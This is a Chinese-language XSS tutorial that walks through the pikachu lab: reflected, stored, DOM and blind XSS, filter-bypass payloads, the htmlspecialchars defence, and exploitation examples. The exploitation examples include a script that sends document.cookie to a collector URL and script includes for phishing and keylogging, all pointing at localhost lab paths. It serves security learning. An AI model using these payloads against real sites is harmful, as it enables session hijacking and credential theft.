什么是XSS
全称 Cross-Site Scripting,中文跨站脚本(一般是javascript语言的脚本)。 一统前后端 Node.js。
恶意代码在受害者的浏览器中执行,属于前端漏洞。
产生的威胁包括窃取cookie中的用户资料、会话劫持、钓鱼欺骗等。
xss的分类:
- 反射型xss
- 存储型xss
- DOM型xss
反射型xss
我们先来学习一下原理:
1、攻击者构造恶意链接,用来引诱受害者来点击,恶意链接可以是以超链接的形式,首先这个网址的后端存在xss漏洞,当受害者点击的了该链接,就会访问改地址的服务器
一个网址+恶意的JS代码
2、存在该漏洞的服务器,没有进行过滤,就会直接将数据返回给受害者,其中就包含恶意的JS代码,到了受害者的浏览器上,执行该恶意代码,危害程度怎么样,就看JS代码写的什么样了
在get类型中我们可以直接在地址栏中输入JS代码,这里我直接输入kobe,可以看到地址栏中有显示,那么我们直接传入JS代码,<script>alert(111);</script>
可以看到我写入的JS代码,浏览器执行了,当然这里就是一个演示了一个恶作剧,真正的攻击代码,远没有这么简单
在POST中,先点击提示登录进去,可以直接在搜索框中输入,那为什么我没有在get中用这个方法呢,你们可以试试,接下来抓包
我输入了111,修改为JS代码
放行后,就会发现同样出现了弹框
存储型xss
原理:和反射型xss差不多,唯一的区别是,存储型的xss会将JS代码存储到数据库中,造成一个持久性的伤害,什么样的数据会存储到数据库呢,就像我每天发布的博客,如果我在发布的博客中写入恶意的JS代码,而后端没有进行过滤,直接存储到数据库中,只要看过我这篇博客的人都会中招,还有各种视频的评论区等等
在该留言区我直接输入JS代码,提交,发现直接会弹出窗口
当我们退出这个页面,切换其他页面,再切换回来的一瞬间,发现再一次出现弹框,可见这是一个持久性的危害
大家可以看到我在上面就已经写好了的JS代码,那为什么,大家在访问我的博客时没有出现弹框呢,这就是怎么去防范xss攻击,后端过滤将标签进行了转义,<>将他转换成了<,>以字符的形式出现在我们博客中就不会执行该代码
在PHP中有一个函数,可以将传入的参数进行修改htmlspecialchars()
DOM型xss
首先我们先来了解一下什么是DOM?
在我们之前学习JS时,就已经提到了DOM,文本对象模型(DOM),JS可以通过DOM相关的函数来动态的操作HTML元素。(什么是动态的操作呢,增加,删除,修改HTML元素的属性)
对于漏洞产生的原因,以及漏洞的利用攻击和后端代码没有任何关系
一切的操作的是在前端完成的,这就是和反射型,储存型的区别
为了更好的理解DOM型xss注入,我们来看看pikachu靶场对应的页面,看看前端代码,注意箭头指的字符串
我来解释一下一段代码:
整段代码在一个id=xssd_main的div标签里面,并且script标签中有一个函数,我们先放到一边,先看看下面的标签,id=text的input标签,这是我们输入的内容,下面是按钮,点击后执行script标签中的函数,那么这个函数干了什么事情呢,将我们输入的值,传给str变量,str这个变量以字符串的方式去拼接到a标签的href属性中,再去写入id=dom的div标签中
我们之前在学习HTML时,a标签的href属性具有执行跳转功能,我们将恶意的代码写入将a标签闭合,再次点击what do you see?时,就会去执行我们的恶意代码
下面我来演示一下,怎么闭合a标签,当然上面的注释的代码中也有写
我们需要去替换的是"+str+",
这个前面直接将a标签闭合,又添加了一个新的标签,并且给他了一个弹窗的功能,
'><img src="#" οnmοuseοver="alert('xss')">
这个是将href属性先闭合,有添加了一个属性,点击后有弹窗的效果
' οnclick="alert('xss')">
在pikachu靶场中还有一个DOM型xss-x,这个原理和上面的差不多,唯一的区别就是,在获取参数时,他是从url地址栏中获取的,大家可以试试,在输入111时,发现text参数接收到了111,这里构造闭合和上面是是一样的,我们发现,到这里,就和反射型xss有点像了,但是本质上还是有区别的
所以之前的防御防御方式就不可取了,需要从前端的代码入手,手动去添加一个函数,JS没有内置这样转换的函数,当然防护的措施有很多,还需要大家去不断地创新
pikachu中还有些其他的内容,但是这并不是一种新的分类,还是前面三种的其中一种
xss盲打
直接到靶场里看看,我随便输入点东西,点击提交
我们前端只有这样的一个返回,没有我们输入的内容的一个返回,根据这个返回我们可以猜测,我们前端输入的东西,提交到了后端,后端的管理员会看到我们写入的东西,那么我们输入的是恶意代码呢,就有可能会在后端进行执行,我们怎么验证呢
先输入一个恶意代码,提交
点击提示,得到后端登录地址,
当我们登录上去的那一刻就会弹出窗口
当我们每次刷新的时候都会弹出,就说明这是一个存储型xss
xss过滤
我们先随便输入点东西,我输入短
输入111
发现将我们输入东西会有所返回,我们输入<script>alert(111);</script>
发现只返回了>,
这时候我们就需要猜测,后端做了什么处理,我们就看看后端代码
可以看到这里用到了正则匹配,将<script进行了替换,HTML是对大小写没有区分的,所以,我们可以使用全是大写或者,大小写混合的方式进行绕过
<SCRIPT>alert(111);</SCRIPT>
<ScRiPt>alert(123);</ScRiPt>
当然也可以
<img src='#' οnerrοr="alert(111)">
xss之htmlspecialchars
这个函数上面我们说过了,打开环境输入<script>alert(111);</script>
发现页面直接将我们输入的恶意代码打印在了屏幕上,并没有执行
这样的话是不是我们就没有办法xss注入了呢,并不是,这个函数默认是不会对单引号进行处理
那我们payload就可以这样写:' οnclick='alert(111)'
xss之href输出
你们随便输入一些东西看返回,我们先直接看看源码,这里htmlspecialchars()函数后面加了参数,所以单引号也无法使用,这里提示javascript协议,payload:
javascript:alert(111)
xss之js输出
我们先输入111,查看网页源代码,可以看到我们的输入点,这里我们怎么去构造闭合呢,先去闭合前面的script标签,再去构造自己的JS代码,payload:
111' </script><script>alert(111);</script>
下面是关于
xss的漏洞利用
coookie的窃取和利用
这原理和反射型xss一样,我们需要一个后台来接受所窃取来的cookie
点击初始化
这里连接数据库的密码必须要正确
等我们创建好了,登录上去,就是这样的页面,点击cookie搜集,放到一边
目前还没有没任何信息
我们先找到这个文件编辑,
将他的地址改一下
我们去打开反射型xss(get)环境,这里其实是有一个字符的长度限制,不知道大家有没有发现,怎么修改呢F12,点击这个黑色的小鼠标,再去点击我们文本框,这里就有一个20的限制,我们可以改一下,或者删掉,直接展示我们的payload
当我们执行此payload页面就会跳转到首页,同时我们到后台去看看
<script>document.location = 'http://127.0.0.1/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>
这里就出现了相关信息
我们可以通过抓包等,手段获取提交那一刻的url,然后进行url编码,发送给受害者
xss钓鱼
做一些准备,找到这个文件
修改地址
切换后台,到钓鱼
这个环境是存储型xss,我们先看看payload:
<script src="http://127.0.0.1/pikachu/pkxss/xfish/fish.php"></script>
当我们去提交的时候会弹出一登录框,我们输入用户名,密码
这里我的pikachu出现了问题所以一直没出信息
xss获取键盘记录
这里先讲一个东西,出于安全的考虑,浏览器都约定了“同源策略”。同源策略规定,俩个不同域名之间不能使用JS进行相互操作,就好像是,古代的皇帝权利很大吧,但是他不能去命令四方的教皇给他做一些事情,有点抽象哈。
如果想要跨域操作,管理员需要进行特殊的配置:
header("Access-Control-Allow-Origin:*")这里的*号,就是可以让所有的域来操作我的页面,当然你可以自己去指定一个域名
不过,还有一些标签加载资源(资源类型是有限的)是不受同源策略限制的。
<script src="..."> js,加载到本地执行
<img src="..." > 图片
<link href="..." > css
<iframe src="..." > 任意资源
假如没有同源策略,在你登录了比较重要的账户,攻击者发送了一个恶意的JS代码,那么他就可以通过恶意的JS代码来窃取的cookie,那么攻击者就可以免密登录的账户
找到这个文件
如果你不想让跨域请求,就把他删除或注释,我们这里做演示,就留着
编辑该目录下的JS文件,修改后端地址
打开我们的环境存储型xss,payload:
<script src="http://127.0.0.1/pikachu/pkxss/rkeypress/rk.js"></script>
提交后,好像没什么反应,不过,你在当前页面输入一些东西,这里我输入了flag,看看后端的反应
内容先告一段落了(后面的知识跑丢了)..........